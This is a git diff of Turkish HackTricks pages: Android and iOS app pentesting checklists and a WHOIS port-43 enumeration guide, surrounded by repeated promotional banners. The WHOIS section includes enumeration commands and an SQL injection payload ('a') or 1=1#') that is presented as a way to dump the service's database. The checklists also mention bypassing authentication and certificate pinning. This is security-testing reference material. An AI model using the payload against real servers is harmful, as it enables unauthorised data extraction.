Son olarak, sadece **yeni uygulamayı imzalamanız** gerekmektedir. [Onu nasıl imzalayacağınızı öğrenmek için bu bölümü okuyun Smali - Decompiling/\[Modifying\]/Compiling](smali-changes.md#sing-the-new-apk).
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,9 +2,9 @@
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -12,6 +12,14 @@
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### [Android temellerini öğrenin](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [Temeller](android-app-pentesting/#fundamentals-review)
@ -35,33 +43,52 @@
* [ ] [İlginç dizeleri](android-app-pentesting/#looking-for-interesting-info) arayın (şifreler, URL'ler, API'ler, şifreleme, arka kapılar, belirteçler, Bluetooth uuid'leri...).
* [ ] [Firebase ](android-app-pentesting/#firebase)API'lerine özel dikkat.
* [ ] [Manifest dosyasını okuyun:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] Uygulamanın hata ayıklama modunda olup olmadığını kontrol edin ve "sömürün".
* [ ] Uygulamanın hata ayıklama modunda olup olmadığını kontrol edin ve "sömürmeye" çalışın
* [ ] APK'nin yedeklemelere izin verip vermediğini kontrol edin
* [ ] Dışa aktarılan Aktiviteler
* [ ] İçerik Sağlayıcılar
* [ ] Açık hizmetler
* [ ] Yayın Alıcıları
* [ ] URL Şemaları
* [ ] Uygulama içinde veya dışında verilerin güvensiz bir şekilde kaydedilip kaydedilmediği
* [ ] Herhangi bir şifre sabitlenmiş veya diske kaydedilmiş mi? Uygulama güvensiz şifreleme algoritmaları kullanıyor mu?
* [ ] Tüm kütüphaneler PIE bayrağı kullanılarak derlenmiş mi?
* [ ] Unutmayın, bu aşamada size çok yardımcı olabilecek birçok [statik Android Analiz Araçları](android-app-pentesting/#automatic-analysis) bulunmaktadır.
* [ ] Uygulama içinde veya dışında verilerin güvensiz bir şekilde kaydedilip kaydedilmediğini kontrol edin
* [ ] Herhangi bir şifrenin sabitlenip sabitlenmediğini veya diske kaydedildiğini kontrol edin. Uygulama güvensiz şifreleme algoritmaları kullanıyor mu?
* [ ] Tüm kütüphaneler PIE bayrağı kullanılarak derlendi mi?
* [ ] Unutmayın ki bu aşamada size çok yardımcı olabilecek birçok [statik Android Analiz aracı](android-app-pentesting/#automatic-analysis) bulunmaktadır.
### [Dinamik Analiz](android-app-pentesting/#dynamic-analysis)
* [ ] Ortamı hazırlayın ([çevrimiçi](android-app-pentesting/#online-dynamic-analysis), [yerel VM veya fiziksel](android-app-pentesting/#local-dynamic-analysis))
* [ ] [İstenmeyen veri sızıntısı](android-app-pentesting/#unintended-data-leakage) var mı (günlük tutma, kopyalama/yapıştırma, çökme günlükleri)?
* [ ] SQLite veritabanlarında kaydedilen [gizli bilgiler](android-app-pentesting/#sqlite-dbs) var mı?
* [ ] Sömürülebilir açık Aktiviteler
* [ ] Sömürülebilir İçerik Sağlayıcılar
* [ ] Sömürülebilir açık Hizmetler
* [ ] Sömürülebilir Yayın Alıcıları
* [ ] Uygulama bilgileri açık metin/ zayıf algoritmalar kullanarak iletir mi? MitM mümkün mü?
* [ ] [İstenmeyen veri sızıntısı](android-app-pentesting/#unintended-data-leakage) var mı (günlükleme, kopyalama/yapıştırma, çökme günlükleri)?
* [ ] SQLite veritabanlarında [gizli bilgilerin kaydedilmesi](android-app-pentesting/#sqlite-dbs) var mı?
* [ ] Sömürülebilir açık Aktiviteler var mı?
* [ ] Sömürülebilir İçerik Sağlayıcılar var mı?
* [ ] Sömürülebilir açık Hizmetler var mı?
* [ ] Sömürülebilir Yayın Alıcıları var mı?
* [ ] Uygulama ık metin/ zayıf algoritmalar kullanarak bilgi mi iletiyor? MitM mümkün mü?
* [ ] HTTP/HTTPS trafiğini inceleyin
* [ ] Bu gerçekten önemlidir, çünkü HTTP trafiğini yakalayabilirseniz, yaygın Web zafiyetlerini arayabilirsiniz (Hacktricks'te Web zafiyetleri hakkında çok bilgi bulunmaktadır).
* [ ] Bu gerçekten önemlidir, çünkü HTTP trafiğini yakalayabilirseniz, yaygın Web zafiyetlerini arayabilirsiniz (Hacktricks Web zafiyetleri hakkında çok bilgi içerir).
* [ ] Olası [Android İstemci Tarafı Enjeksiyonları](android-app-pentesting/#android-client-side-injections-and-others) için kontrol edin (muhtemelen burada bazı statik kod analizi yardımcı olacaktır)
* [ ] [Frida](android-app-pentesting/#frida): Sadece Frida, uygulamadan ilginç dinamik veriler elde etmek için kullanın (belki bazı şifreler...)
### Obfuskasyon/Deobfuscation bilgileri
### Bazı obfuscation/Deobfuscation bilgileri
* [ ] [Burayı okuyun](android-app-pentesting/#obfuscating-deobfuscating-code)
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** ile PR gönderin.
</details>

View file

@ -1,32 +1,40 @@
# iOS Pentesting Kontrol Listesi
# iOS Pentesting Checklist
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\
Bugün Erişim Alın:
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Hemen Erişim Sağlayın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan Kahraman Olarak AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking hilelerinizi paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Hazırlık
* [ ] [**iOS Temelleri**](ios-pentesting/ios-basics.md)ni okuyun
* [ ] [**iOS Test Ortamını**](ios-pentesting/ios-testing-environment.md) hazırlamak için çevreyi okuyun
* [ ] Bir iOS uygulamasını pentest etmek için yaygın eylemleri öğrenmek için [**iOS İlk Analiz**](ios-pentesting/#initial-analysis) bölümlerini okuyun
* [ ] [**iOS Test Ortamınızı**](ios-pentesting/ios-testing-environment.md) hazırlayarak çevrenizi hazırlayın
* [ ] Bir iOS uygulamasını pentest etmek için yaygın eylemleri öğrenmek için [**iOS Başlangıç Analizi**](ios-pentesting/#initial-analysis) bölümlerini okuyun
### Veri Depolama
@ -36,84 +44,103 @@ HackTricks'ı desteklemenin diğer yolları:
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) yanlış yapılandırma.
* [ ] [**Realm veritabanları**](ios-pentesting/#realm-databases) hassas bilgileri depolayabilir.
* [ ] [**Couchbase Lite veritabanları**](ios-pentesting/#couchbase-lite-databases) hassas bilgileri depolayabilir.
* [ ] [**İkili çerezler**](ios-pentesting/#cookies) hassas bilgileri depolayabilir
* [ ] [**Binary çerezler**](ios-pentesting/#cookies) hassas bilgileri depolayabilir
* [ ] [**Önbellek verileri**](ios-pentesting/#cache) hassas bilgileri depolayabilir
* [ ] [**Otomatik anlık görüntüler**](ios-pentesting/#snapshots) görsel hassas bilgileri kaydedebilir
* [ ] [**Anahtar zinciri**](ios-pentesting/#keychain) genellikle telefonu yeniden satarken bırakılabilecek hassas bilgileri depolamak için kullanılır.
* [ ] Özetlemek gerekirse, uygulama tarafından dosya sistemine kaydedilen hassas bilgilere **kontrol edin**
* [ ] [**Anahtarlık**](ios-pentesting/#keychain) genellikle telefonu yeniden satarken bırakılabilecek hassas bilgileri depolamak için kullanılır.
* [ ] Özetle, sadece **uygulama tarafından dosya sistemine kaydedilen hassas bilgileri kontrol edin**
### Klavyeler
* [ ] Uygulama [**özel klavyelerin kullanılmasına izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)?
* [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) kaydedildiğini kontrol edin
* [ ] Uygulama [**özel klavye kullanımına izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)?
* [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) kaydedilip kaydedilmediğini kontrol edin
### **Günlükler**
### **Kayıtlar**
* [ ] [**Hassas bilgilerin kaydedildiği**](ios-pentesting/#logs) kontrol edin
* [ ] [**Hassas bilgilerin kaydedilip kaydedilmediğini**](ios-pentesting/#logs) kontrol edin
### Yedeklemeler
### Yedekler
* [ ] [**Yedeklemeler**](ios-pentesting/#backups) dosya sisteminde kaydedilen hassas bilgilere erişmek için kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin)
* [ ] Ayrıca, [**yedeklemeler**](ios-pentesting/#backups) bazı yapılandırmaları **değiştirmek** için kullanılabilir, ardından yedeklemeyi telefona **geri yükleyin** ve **değiştirilmiş yapılandırma** yüklendiğinde bazı (güvenlik) **işlevlerin atlatılabileceği** kontrol edilebilir
* [ ] [**Yedekler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere erişmek için kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin)
* [ ] Ayrıca, [**yedekler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını değiştirmek için kullanılabilir, ardından yedeği telefona geri yükleyebilir ve değiştirilmiş yapılandırma yüklendiğinde bazı (güvenlik) **işlevselliği** atlanabilir
### **Uygulama Belleği**
### **Uygulamaların Belleği**
* [ ] [**Uygulamanın belleği içinde**](ios-pentesting/#testing-memory-for-sensitive-data) hassas bilgileri kontrol edin
* [ ] [**Uygulamanın belleği içinde hassas bilgileri**](ios-pentesting/#testing-memory-for-sensitive-data) kontrol edin
### **Kırık Şifreleme**
* [ ] Şifreleme için kullanılan [**şifrelerin**](ios-pentesting/#broken-cryptography) bulunup bulunmadığını kontrol edin
* [ ] Hassas verileri göndermek/depolamak için kullanılan [**eskimiş/zayıf algoritmaların**](ios-pentesting/#broken-cryptography) kullanılıp kullanılmadığını kontrol edin
* [ ] Şifreleme işlevlerini [**kancalayıp izleyin**](ios-pentesting/#broken-cryptography)
* [ ] [**Şifreleme için kullanılan şifreleri**](ios-pentesting/#broken-cryptography) bulabilir misiniz?
* [ ] Hassas verileri göndermek/depolamak için [**eskimiş/zayıf algoritmaların**](ios-pentesting/#broken-cryptography) kullanılıp kullanılmadığını kontrol edin
* [ ] [**Şifreleme işlevlerini takip edin ve izleyin**](ios-pentesting/#broken-cryptography)
### **Yerel Kimlik Doğrulama**
* [ ] Uygulamada [**yerel kimlik doğrulama**](ios-pentesting/#local-authentication) kullanılıyorsa, kimlik doğrulamanın nasıl çalıştığını kontrol edin.
* [ ] [**Yerel Kimlik Doğrulama Çerçevesi**](ios-pentesting/#local-authentication-framework) kullanılıyorsa, kolayca atlatılabilir
* [ ] [**Anahtar zinciri**](ios-pentesting/#local-authentication-using-keychain) kullanarak dinamik olarak atlatılabilen bir işlev kullanılıyorsa, özel bir frida betiği oluşturabilirsiniz
* [ ] Uygulamada [**yerel kimlik doğrulama**](ios-pentesting/#local-authentication) kullanılıyorsa, kimlik doğrulamanın nasıl çalıştığını kontrol etmelisiniz.
* [ ] Eğer [**Yerel Kimlik Doğrulama Çerçevesi**](ios-pentesting/#local-authentication-framework) kullanılıyorsa kolayca atlatılabilir
* [ ] Eğer [**dinamik olarak atlatılabilen bir işlev**](ios-pentesting/#local-authentication-using-keychain) kullanılıyorsa özel bir frida betiği oluşturabilirsiniz
### IPC Aracılığıyla Hassas İşlevlerin ığa Çıkarılması
### IPC Aracılığıyla Hassas İşlevlerin Maruz Kalması
* [**Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Uygulamanın herhangi bir protokol/şema **kaydettiğini** kontrol edin
* [ ] Uygulamanın **herhangi bir protokol/şema kaydettiğini** kontrol edin
* [ ] Uygulamanın herhangi bir protokol/şemayı kullanmak için **kaydolduğunu** kontrol edin
* [ ] Özel şemayı kaydeden başka bir uygulamanın aynı şemayı kaydederek **onun tarafından yakalanabilecek** herhangi bir hassas bilgi alıp almadığını kontrol edin
* Uygulamanın özel şema üzerinden kullanıcı girişini **kontrol etmediğini ve temizlemediğini** kontrol edin ve bazı **güvenlik açıklarının** sömürülebileceği
* Uygulamanın özel şema üzerinden herhangi bir yerden **çağrılabilecek hassas bir işlevi açığa çıkardığını** kontrol edin
* [ ] Uygulamanın özel şemayı kullanan başka bir uygulama tarafından **intercept edilebilecek hassas bilgileri almayı beklediğini** kontrol edin
* [ ] Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
* [ ] Uygulamanın herhangi bir yerden özel şema aracılığıyla **çağrılabilen hassas bir işlevi açığa çıkardığını** kontrol edin
* [**Evrensel Bağlantılar**](ios-pentesting/#universal-links)
* [ ] Uygulamanın herhangi bir evrensel protokol/şema **kaydettiğini** kontrol edin
* [ ] Uygulamanın **herhangi bir evrensel protokol/şema kaydettiğini** kontrol edin
* [ ] `apple-app-site-association` dosyasını kontrol edin
* Uygulamanın özel şema üzerinden kullanıcı girişini **kontrol etmediğini ve temizlemediğini** kontrol edin ve bazı **güvenlik açıklarının** sömürülebileceği
* Uygulamanın özel şema üzerinden
* [ ] Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
* [ ] Uygulamanın herhangi bir yerden özel şema aracılığıyla **çağrılabilen hassas bir işlevi açığa çıkardığını** kontrol edin
* [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Uygulamanın UIActivities alıp alamayacağını ve özellikle oluşturulmuş bir etkinlikle herhangi bir zafiyetin sömürülüp sömürülemeyeceğini kontrol edin
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* [ ] Uygulamanın **genel panoya herhangi bir şey kopyalayıp kopyalamadığını** kontrol edin
* [ ] Uygulamanın **genel panodan veri kullanıp kullanmadığını** kontrol edin
* [ ] Hassas verilerin kopyalanıp kopyalanmadığını görmek için panoyu izleyin
* [**Uygulama Uzantıları**](ios-pentesting/ios-app-extensions.md)
* [ ] Uygulamanın **herhangi bir uzantıyı kullanıp kullanmadığını** kontrol edin
* [**Web Görünümleri**](ios-pentesting/ios-webviews.md)
* [ ] Kullanılan web görünümlerinin türlerini kontrol edin
* [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumlarını kontrol edin
* [ ] Web görünümünün **file://** protokolüyle **yerel dosyalara erişip erişemediğini** kontrol edin **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* [ ] Javascript'in **Native** **metodlara erişip erişemediğini** kontrol edin (`JSContext`, `postMessage`)
### Ağ İletişimi
* [ ] İletişime [**MitM saldırısı**](ios-pentesting/#network-communication) yapın ve web zafiyetleri arayın.
* [ ] Sertifikanın [**ana bilgisayar adını**](ios-pentesting/#hostname-check) kontrol edin.
* [ ] [**İletişime MitM**](ios-pentesting/#network-communication) yapın ve web ıklarını arayın.
* [ ] [**Sertifika host adının**](ios-pentesting/#hostname-check) kontrol edilip edilmediğini kontrol edin.
* [ ] [**Sertifika Pinning**](ios-pentesting/#certificate-pinning) kontrol edin/geçin.
### **Çeşitli**
* [ ] [**Otomatik yama/güncelleme**](ios-pentesting/#hot-patching-enforced-updateing) mekanizmalarını kontrol edin.
* [ ] [**Zararlı üçüncü taraf kütüphaneleri**](ios-pentesting/#third-parties) kontrol edin.
* [ ] [**Zararlı üçüncü parti kütüphaneleri**](ios-pentesting/#third-parties) kontrol edin.
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturup otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,44 +1,57 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# Temel Bilgiler
**WHOIS** protokolü, belirli veritabanları aracılığıyla çeşitli İnternet kaynaklarının kayıt sahipleri veya sahipleri hakkında bilgi almak için standart bir yöntem olarak hizmet verir. Bu kaynaklar, alan adları, IP adresi blokları ve otonom sistemler gibi çeşitli kaynakları kapsar. Bunların ötesinde, protokol daha geniş bir bilgi yelpazesine erişimde de kullanılır.
**WHOIS** protokolü, belirli veritabanları aracılığıyla **çeşitli İnternet kaynaklarının sahipleri veya kayıt sahipleri hakkında sorgulama yapma** standart bir yöntem olarak hizmet verir. Bu kaynaklar alan adları, IP adresi blokları ve otonom sistemleri gibi çeşitli kaynakları kapsar. Bu protokol, daha geniş bir bilgi yelpazesine erişimde de uygulanır.
**Varsayılan port:** 43
```
PORT STATE SERVICE
43/tcp open whois?
```
# Sorgula
# Sırala
Bir whois servisinin bir alan adı hakkında sahip olduğu tüm bilgileri alın:
Bir alan adı hakkında whois servisinin sahip olduğu tüm bilgileri alın:
```bash
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
```
Dikkat edin, bazen WHOIS hizmetine bilgi talep ederken kullanılan veritabanı yanıtta görünebilir:
Bazen WHOIS hizmetine belirli bir bilgiyi sorgularken kullanılan veritabanı yanıtta görünebilir:
![](<../.gitbook/assets/image (147).png>)
Ayrıca, WHOIS hizmetinin her zaman bilgileri depolamak ve çıkarmak için bir **veritabanı** kullanması gerekmektedir. Bu nedenle, kullanıcı tarafından sağlanan bazı bilgilerle veritabanını sorgularken bir **SQLInjection** olabilir. Örneğin, `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` yaparak veritabanında kaydedilen **tüm bilgileri** çıkarabilirsiniz.
Ayrıca, WHOIS hizmetinin her zaman bilgileri depolamak ve çıkarmak için bir **veritabanı** kullanması gerekir. Bu nedenle, kullanıcı tarafından sağlanan bazı bilgilerle veritabanını sorgularken olası bir **SQLInjection** mevcut olabilir. Örneğin `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` yaparak veritabanında kayıtlı tüm bilgileri **çıkarabilirsiniz**.
# Shodan
* `port:43 whois`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
# HackTricks Otomatik Komutları
```
